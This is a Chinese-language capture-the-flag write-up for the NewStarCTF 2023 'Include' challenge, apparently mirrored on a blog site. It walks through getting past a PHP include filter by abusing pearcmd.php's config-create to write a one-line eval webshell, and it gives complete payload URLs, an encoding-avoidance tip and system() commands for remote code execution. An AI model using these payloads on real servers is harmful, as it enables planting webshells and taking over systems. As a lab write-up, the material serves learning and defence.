当前位置: 首页 > article >正文

[NewStarCTF 2023]Include--详细解析

信息搜集

进入靶机,界面回显代码:

 <?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

要我们GET传参file,且对参数的值进行了过滤。
最终执行的是include()函数。

提示我们Something in phpinfo.php!,那我们就先尝试包含这个文件看看。
在这里插入图片描述在这里插入图片描述

register_argc_argv 是开着的,可以对pearcmd.php文件进行包含利用。

文件包含

对于文件包含漏洞,我们一般先考虑使用php伪协议进行 文件的读取恶意代码的写入
但是这里过滤了filter、input、data,切断了我们使用伪协议包含的方法。

伪协议不能使用,我们又会想到利用日志文件。
通过包含日志文件的方式,将我们的恶意代码写入日志文件中并执行。
无论是Apache还是nginx,日志文件都叫做access.log,但是这里过滤了log,所有我们也不能使用包含日志文件的方法。

那么我们又会想到使用session条件竞争,这里过滤了session,也不考虑。

学习新知识点:

对pearcmd.php文件的包含利用
该文件的位置在 /usr/share/php/pearcmd.php/usr/local/lib/php/pearcmd

payload如下:

?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php 
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php 

config-create是pearcmd.php的参数,用于创建默认配置文件。
这里是先包含了pearcmd.php文件,
然后将一句话木马<?=eval($_POST[1])?>写入了/var/www/html/shell.php 位置。
/usr/local/etc/php
这里我用了第二个payload,成功包含并写入shell文件,回显如下:
在这里插入图片描述然后我们访问shell.php文件,就能进行RCE了
在这里插入图片描述但是发现我们传入的一句话木马并没有被成功解析,而是被输出在了界面上。

这一步卡了好久,最后发现是要bp抓包上传
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
不然直接在搜索框传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码。
在这里插入图片描述

现在我们再访问shell.php文件就能正常进行RCE了。
先查目录,发现flag目录:

1=system("ls /");

在这里插入图片描述
得到flag:

1=system("cat /flag");

在这里插入图片描述

总结:

学到了文件包含的新姿势:对pearcmd.php文件的包含利用
现在的水平还不足以搞懂原理,只是能使用了,等水平高一点再尝试搞明白吧。

在搜索框传参PHP代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析。
所以以后需要通过传参上传php代码时,使用抓包程序进行上传,防止被编码。


http://www.kler.cn/a/406597.html

相关文章:

  • 【ubuntu24.04.1最简洁安装方案】
  • 数据结构-8.Java. 七大排序算法(上篇)
  • vue2-代理服务器插槽
  • 何以解忧-解决python问题的辛酸泪
  • OpenCV相机标定与3D重建(3)校正鱼眼镜头畸变的函数calibrate()的使用
  • 了解Redis(第一篇)
  • 设计模式之 观察者模式
  • 卷积神经网络(CNN)中的池化层(Pooling Layer)
  • oracle排查长时间没提交的事务造成的阻塞案例
  • SPA 单页面深入解读:优劣势剖析及实现方法
  • Qt自定义表格TableWidget实现整行单列按键逐行切换及跳转首尾
  • 【工控】线扫相机小结 第四篇
  • 2024内科学综合类科技核心期刊汇总
  • Pytorch使用手册-快速开始(专题一)
  • ArcGIS 10.2软件安装包下载及安装教程!
  • 美团面试:有哪些情况会产生死锁
  • Linux下Intel编译器oneAPI安装和链接MKL库编译
  • Android——连接MySQL(Java版)
  • 淘宝关键词订单API接口:电商运营的新利器
  • Python笔记2-六种标准数据类型3
  • android 使用MediaPlayer实现音乐播放--权限请求
  • PHP 高并发解决方案
  • Easyexcel(2-文件读取)
  • Elasticsearch 中的热点以及如何使用 AutoOps 解决它们
  • 【Lambda基础】Python Lambda 函数的 9 种玩法
  • 【1.2 Getting Started--->Installation Guide】